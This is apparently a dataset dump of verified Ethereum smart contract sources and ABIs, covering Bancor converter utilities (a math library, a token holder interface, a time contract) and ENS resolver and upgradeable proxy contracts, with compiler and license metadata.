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IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"getReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isV28OrHigher","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxConversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onlyOwnerCanUpdateRegistry","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prevRegistry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"}],"name":"recentAverageRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_reserve1MinReturn","type":"uint256"},{"internalType":"uint256","name":"_reserve2MinReturn","type":"uint256"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveMinReturnAmounts","type":"uint256[]"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"}],"name":"removeLiquidityReturn","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"}],"name":"reserveBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokens","outputs":[{"internalType":"contract IERC20Token[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"}],"name":"reserveWeight","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"restoreRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_onlyOwnerCanUpdateRegistry","type":"bool"}],"name":"restrictRegistryUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_conversionFee","type":"uint32"}],"name":"setConversionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address 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StandardPoolConverter | solidity/contracts/utility/interfaces/ITokenHolder.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | pragma solidity 0.6.12;
/*
Token Holder interface
*/
interface ITokenHolder is IOwned {
function withdrawTokens(
IERC20Token _token,
address _to,
uint256 _amount
) external;
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IERC20Token","name":"_token2","type":"address"},{"indexed":false,"internalType":"uint256","name":"_rateN","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_rateD","type":"uint256"}],"name":"TokenRateUpdate","type":"event"},{"inputs":[],"name":"acceptAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_reserve1Amount","type":"uint256"},{"internalType":"uint256","name":"_reserve2Amount","type":"uint256"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256","name":"_reserveTokenIndex","type":"uint256"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityCost","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20Token","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract 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IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_reserve1MinReturn","type":"uint256"},{"internalType":"uint256","name":"_reserve2MinReturn","type":"uint256"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveMinReturnAmounts","type":"uint256[]"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract 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IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address 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StandardPoolConverter | solidity/contracts/utility/Math.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | pragma solidity 0.6.12;
/**
* @dev This library provides a set of complex math operations.
*/
library Math {
/**
* @dev returns the largest integer smaller than or equal to the square root of a positive integer
*
* @param _num a positive integer
*
* @return the largest integer smaller than or equal to the square root of the positive integer
*/
function floorSqrt(uint256 _num) internal pure returns (uint256) {
uint256 x = _num / 2 + 1;
uint256 y = (x + _num / x) / 2;
while (x > y) {
x = y;
y = (x + _num / x) / 2;
}
return x;
}
/**
* @dev returns the smallest integer larger than or equal to the square root of a positive integer
*
* @param _num a positive integer
*
* @return the smallest integer larger than or equal to the square root of the positive integer
*/
function ceilSqrt(uint256 _num) internal pure returns (uint256) {
uint256 x = floorSqrt(_num);
return x * x == _num ? x : x + 1;
}
/**
* @dev computes a reduced-scalar ratio
*
* @param _n ratio numerator
* @param _d ratio denominator
* @param _max maximum desired scalar
*
* @return ratio's numerator and denominator
*/
function reducedRatio(
uint256 _n,
uint256 _d,
uint256 _max
) internal pure returns (uint256, uint256) {
(uint256 n, uint256 d) = (_n, _d);
if (n > _max || d > _max) {
(n, d) = normalizedRatio(n, d, _max);
}
if (n != d) {
return (n, d);
}
return (1, 1);
}
/**
* @dev computes "scale * a / (a + b)" and "scale * b / (a + b)".
*/
function normalizedRatio(
uint256 _a,
uint256 _b,
uint256 _scale
) internal pure returns (uint256, uint256) {
if (_a <= _b) {
return accurateRatio(_a, _b, _scale);
}
(uint256 y, uint256 x) = accurateRatio(_b, _a, _scale);
return (x, y);
}
/**
* @dev computes "scale * a / (a + b)" and "scale * b / (a + b)", assuming that "a <= b".
*/
function accurateRatio(
uint256 _a,
uint256 _b,
uint256 _scale
) internal pure returns (uint256, uint256) {
uint256 maxVal = uint256(-1) / _scale;
if (_a > maxVal) {
uint256 c = _a / (maxVal + 1) + 1;
_a /= c; // we can now safely compute `_a * _scale`
_b /= c;
}
if (_a != _b) {
uint256 n = _a * _scale;
uint256 d = _a + _b; // can overflow
if (d >= _a) { // no overflow in `_a + _b`
uint256 x = roundDiv(n, d); // we can now safely compute `_scale - x`
uint256 y = _scale - x;
return (x, y);
}
if (n < _b - (_b - _a) / 2) {
return (0, _scale); // `_a * _scale < (_a + _b) / 2 < MAX_UINT256 < _a + _b`
}
return (1, _scale - 1); // `(_a + _b) / 2 < _a * _scale < MAX_UINT256 < _a + _b`
}
return (_scale / 2, _scale / 2); // allow reduction to `(1, 1)` in the calling function
}
/**
* @dev computes the nearest integer to a given quotient without overflowing or underflowing.
*/
function roundDiv(uint256 _n, uint256 _d) internal pure returns (uint256) {
return _n / _d + (_n % _d) / (_d - _d / 2);
}
/**
* @dev returns the average number of decimal digits in a given list of positive integers
*
* @param _values list of positive integers
*
* @return the average number of decimal digits in the given list of positive integers
*/
function geometricMean(uint256[] memory _values) internal pure returns (uint256) {
uint256 numOfDigits = 0;
uint256 length = _values.length;
for (uint256 i = 0; i < length; i++) {
numOfDigits += decimalLength(_values[i]);
}
return uint256(10)**(roundDivUnsafe(numOfDigits, length) - 1);
}
/**
* @dev returns the number of decimal digits in a given positive integer
*
* @param _x positive integer
*
* @return the number of decimal digits in the given positive integer
*/
function decimalLength(uint256 _x) internal pure returns (uint256) {
uint256 y = 0;
for (uint256 x = _x; x > 0; x /= 10) {
y++;
}
return y;
}
/**
* @dev returns the nearest integer to a given quotient
* the computation is overflow-safe assuming that the input is sufficiently small
*
* @param _n quotient numerator
* @param _d quotient denominator
*
* @return the nearest integer to the given quotient
*/
function roundDivUnsafe(uint256 _n, uint256 _d) internal pure returns (uint256) {
return (_n + _d / 2) / _d;
}
/**
* @dev returns the larger of two values
*
* @param _val1 the first value
* @param _val2 the second value
*/
function max(uint256 _val1, uint256 _val2) internal pure returns (uint256) {
return _val1 > _val2 ? _val1 : _val2;
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IERC20Token","name":"_reserveToken","type":"address"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract 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IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_reserve1MinReturn","type":"uint256"},{"internalType":"uint256","name":"_reserve2MinReturn","type":"uint256"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveMinReturnAmounts","type":"uint256[]"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"}],"name":"removeLiquidityReturn","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"}],"name":"reserveBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokens","outputs":[{"internalType":"contract IERC20Token[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract 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StandardPoolConverter | solidity/contracts/utility/Time.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | pragma solidity 0.6.12;
/*
Time implementing contract
*/
contract Time {
/**
* @dev returns the current time
*/
function time() internal view virtual returns (uint256) {
return block.timestamp;
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address 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UpgradeabilityProxy | ABIResolver.sol | 0x5d4d3412f6ea13d959aa2e1048ac39b13d228941 | Solidity | pragma solidity ^0.5.0;
import "./ResolverBase.sol";
contract ABIResolver is ResolverBase {
bytes4 constant private ABI_INTERFACE_ID = 0x2203ab56;
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
mapping(bytes32=>mapping(uint256=>bytes)) abis;
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes calldata data) external authorised(node) {
// Content types must be powers of 2
require(((contentType - 1) & contentType) == 0);
abis[node][contentType] = data;
emit ABIChanged(node, contentType);
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) external view returns (uint256, bytes memory) {
mapping(uint256=>bytes) storage abiset = abis[node];
for (uint256 contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && abiset[contentType].length > 0) {
return (contentType, abiset[contentType]);
}
}
return (0, bytes(""));
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == ABI_INTERFACE_ID || super.supportsInterface(interfaceID);
}
} | [{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"bytes","name":"_data","type":"bytes"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_from","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Received","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000013d66821f5dc94b242bd91768546b5adb1273b45000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | bzzr://58f40811b947b3087b4bc98e2e55fad06453ab3add16603dca7f42157d4de2e3 |
||
UpgradeabilityProxy | AddrResolver.sol | 0x5d4d3412f6ea13d959aa2e1048ac39b13d228941 | Solidity | pragma solidity ^0.5.0;
import "./ResolverBase.sol";
contract AddrResolver is ResolverBase {
bytes4 constant private ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant private ADDRESS_INTERFACE_ID = 0xf1cb7e06;
uint constant private COIN_TYPE_ETH = 60;
event AddrChanged(bytes32 indexed node, address a);
event AddressChanged(bytes32 indexed node, uint coinType, bytes newAddress);
mapping(bytes32=>mapping(uint=>bytes)) _addresses;
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param a The address to set.
*/
function setAddr(bytes32 node, address a) external authorised(node) {
setAddrCoinType(node, COIN_TYPE_ETH, addressToBytes(a));
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public view returns (address payable) {
bytes memory a = addr(node, COIN_TYPE_ETH);
if(a.length == 0) {
return address(0);
}
return bytesToAddress(a);
}
function setAddrCoinType(bytes32 node, uint coinType, bytes memory a) public authorised(node) {
emit AddressChanged(node, coinType, a);
if(coinType == COIN_TYPE_ETH) {
emit AddrChanged(node, bytesToAddress(a));
}
_addresses[node][coinType] = a;
}
function addr(bytes32 node, uint coinType) public view returns(bytes memory) {
return _addresses[node][coinType];
}
function supportsInterface(bytes4 interfaceID) public pure returns(bool) {
return interfaceID == ADDR_INTERFACE_ID || interfaceID == ADDRESS_INTERFACE_ID || super.supportsInterface(interfaceID);
}
} | [{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"bytes","name":"_data","type":"bytes"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_from","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Received","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000013d66821f5dc94b242bd91768546b5adb1273b45000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | bzzr://58f40811b947b3087b4bc98e2e55fad06453ab3add16603dca7f42157d4de2e3 |
||
UpgradeabilityProxy | BaseUpgradeabilityProxy.sol | 0x5d4d3412f6ea13d959aa2e1048ac39b13d228941 | Solidity | pragma solidity ^0.5.0;
import './Proxy.sol';
import './Address.sol';
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
} | [{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"bytes","name":"_data","type":"bytes"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_from","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Received","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000013d66821f5dc94b242bd91768546b5adb1273b45000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | bzzr://58f40811b947b3087b4bc98e2e55fad06453ab3add16603dca7f42157d4de2e3 |